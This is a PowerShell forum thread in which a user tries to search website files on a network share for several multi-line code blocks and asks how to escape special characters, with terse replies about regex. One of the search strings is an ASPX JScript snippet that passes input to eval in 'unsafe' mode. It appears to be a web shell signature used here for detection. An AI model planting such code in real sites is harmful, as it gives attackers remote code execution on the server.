none
Matching for a multi-line string in a file, when the string contains special characters RRS feed

  • Question

  • Hello,

    I'm a bit stuck :) I'm trying to find all the files in a filesystem that contain several blocks of code.   

    the blocks look like this - I've tried to add them to a litteral string 


    $block52 = @"
    <script runat="server" language="JScript">
    function popup(str) {
    var q = "u";
    var w = "afe";
    var a = q + "ns" + w;
    var b= eval(str,a);
    return(b);
    }
    </script>
    "@

    Then I map a psdrive to get around the 260 path limit and try to search them for the strings 

    #Find all the files containing our search strings

    $drive_letter = (ls function:[d-z]: -n|?{!(test-path $_)}|random).replace(":","")

    New-PSDrive -Name $drive_letter -PSProvider FileSystem -Root "<uncpath>"

    $files = @()
    $files += Get-Childitem –Path "$drive_letter`:" -Include @("*.asp","*.aspx","*.htm","*.html","*.php") -File -Recurse -ErrorAction SilentlyContinue | where {$_.FullName -match "$filter"} 
    foreach ($file in $files)
    {
        $filepath = (($file.FullName).Replace("<uncpath>","$drive_letter`:"))

        if(Select-String -Path $filepath -pattern $block52){ write-host $file.FullName Found block52}
        if(Select-String -Path $filepath -pattern $block53){ write-host $file.FullName Found block53}
        if(Select-String -Path $filepath -pattern $block54){ write-host $file.FullName Found block54}

    }

    Where block52 exists I get the correct output. But as all the others contain special characters I get errors. 

    I've tried doing a GC -raw on the file and then using -match or -contains but neither will work (I didn't really expect them too).

    Is there another(better) way? I've seen examples using multi-line regex but I think I'd have to escape all the special characters?







    • Edited by andygriff Friday, March 2, 2018 12:09 PM
    • Moved by Bill_Stewart Monday, April 30, 2018 9:30 PM Abandoned
    Monday, February 26, 2018 12:48 PM

All replies

  • You cannot run "Server side" code in PowerShell. You cannot run PHP as a client.

    For web issues post here: http://forum.iis.net

    This is not a web scripting forum.

    If you are trying to ask a PowerShell question then you will need to do a better job of asking a question.  What exactly is your question?


    \_(ツ)_/

    Monday, February 26, 2018 2:14 PM
  • those are just strings of text, yes they are combinations of js and php but the filesystem contains several websites, and I'm accessing it from a windows server via unc path.  

    there are 3 strings $block52,$block53 and $block54.

    I'd like to know if I can search all the files on the filesystem and output when one of the files contains one of the strings ($block52-54)  


    the issue is some of the strings contain dollar ($) variables and other special characters I'm unsure how to escape all of them
    • Edited by andygriff Monday, February 26, 2018 2:58 PM
    Monday, February 26, 2018 2:52 PM
  • You can but it requires a complex multi-line RegEx expression.


    \_(ツ)_/

    Monday, February 26, 2018 3:01 PM